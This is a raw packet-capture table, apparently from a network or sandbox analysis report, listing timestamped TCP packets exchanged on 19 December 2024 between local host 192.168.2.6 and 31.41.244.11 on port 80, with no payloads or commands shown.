Dec 19, 2024 08:09:17.087698936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.087734938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.087789059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.088504076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.088553905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.088706970 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.088757038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.089324951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.089390993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.089456081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.089520931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.090186119 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.090240955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.090279102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.090321064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.091029882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.091134071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.091167927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.091187000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.091942072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.091989040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.092014074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.092032909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.092776060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.092916965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.092931986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.092957020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.093575001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.093696117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.093746901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.094522953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.094535112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.094572067 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.094602108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.095297098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.095343113 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.095376015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.095415115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.096164942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.096205950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.096250057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.096292019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.097023964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.097084045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.097142935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.097268105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.097865105 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.097934961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.097985983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.098026991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.098721027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.098788023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.098819017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.098864079 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.099700928 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.099776030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.099808931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.099858046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.100415945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.100478888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.100533962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.100672960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.101305962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.101351023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.101403952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.101454020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.102149963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.102195978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.102264881 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.102386951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.103013039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.103055000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.103094101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.103132963 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.103868008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.103957891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.104005098 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.104697943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.104769945 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.104801893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.104841948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.105573893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.105638981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.105659008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.105700016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.106412888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.106463909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.106497049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.106549978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.107300997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.107357979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.107418060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.107502937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.108099937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.108156919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.108192921 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.108230114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.108953953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.109015942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.109127045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.109185934 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.109817982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.109877110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.109914064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.109954119 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.110668898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.110743046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.110780001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.110869884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.111587048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.111637115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.111671925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.111813068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.112373114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.112427950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.112467051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.112544060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.113229036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.113281012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.113363981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.113411903 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.114103079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.114159107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.114233017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.114270926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.114933014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.114984035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.115020990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.115062952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.115822077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.115883112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.115909100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.116003036 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.116792917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.116811037 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.116873980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.117505074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.117573977 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.117597103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.117640018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.118323088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.118383884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.265705109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.265767097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.265769958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.265825033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.266104937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.266180038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.266230106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.266921043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.266967058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.267044067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.267086029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.267776966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.267823935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.267885923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.267930984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.268634081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.268739939 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.268778086 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.268795013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.269480944 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.269531965 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.269572973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.269613028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.270323992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.270441055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.270486116 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.271213055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.271306038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.271318913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.271378040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.272043943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.272094011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.272228956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.272278070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.272927999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.272990942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.273036003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.273076057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.273855925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.273910046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.273925066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.273967028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.274621010 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.274682045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.274732113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.274842024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.275441885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.275475979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.275491953 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.275517941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.276365995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.276421070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.276474953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.276514053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.277143955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.277198076 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.277235985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.277276039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.278019905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.278074026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.278260946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.278300047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.278893948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.278964043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.278985023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.279021025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.279798031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.279850960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.279944897 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.279995918 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.280582905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.280630112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.280697107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.280738115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.281440020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.281487942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.281527996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.281658888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.282275915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.282330990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.282390118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.282459021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.283129930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.283199072 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.283231020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.283442974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.283976078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.284020901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.284079075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.284317017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.284832954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.284892082 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.284930944 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.284972906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.285686970 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.285748959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.285834074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.285882950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.286535978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.286581993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.286623001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.286669016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.287388086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.287456989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.287491083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.287533045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.288228035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.288271904 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.288342953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.288415909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.289096117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.289164066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.289201021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.289244890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.289964914 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.290056944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.290086985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.290266037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.290802002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.290859938 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.290915966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.290958881 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.291678905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.291722059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.291796923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.291847944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.292515993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.292570114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.292613983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.292654991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.293368101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.293412924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.293482065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.293523073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.294209957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.294259071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.294317961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.294361115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.295085907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.295129061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.295166969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.295413971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.295922995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.295967102 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.296084881 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.296133995 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.296818018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.296875954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.296919107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.296958923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.297632933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.297678947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.297755003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.297806978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.298491955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.298535109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.298594952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.298639059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.299355984 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.299408913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.299448013 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.299489021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.300268888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.300312042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.300376892 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.300431013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.301088095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.301139116 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.301172018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.301212072 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.301903963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.301947117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.302006960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.302047968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.302771091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.302824974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.302866936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.302963018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.303673983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.303733110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.303761959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.303859949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.304470062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.304517984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.304568052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.304610968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.305335045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.305397034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.305460930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.305536985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.306162119 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.306210041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.306215048 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.306252003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.307024002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.307135105 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.307246923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.307879925 CET	80	49802	31.41.244.11	192.168.2.6
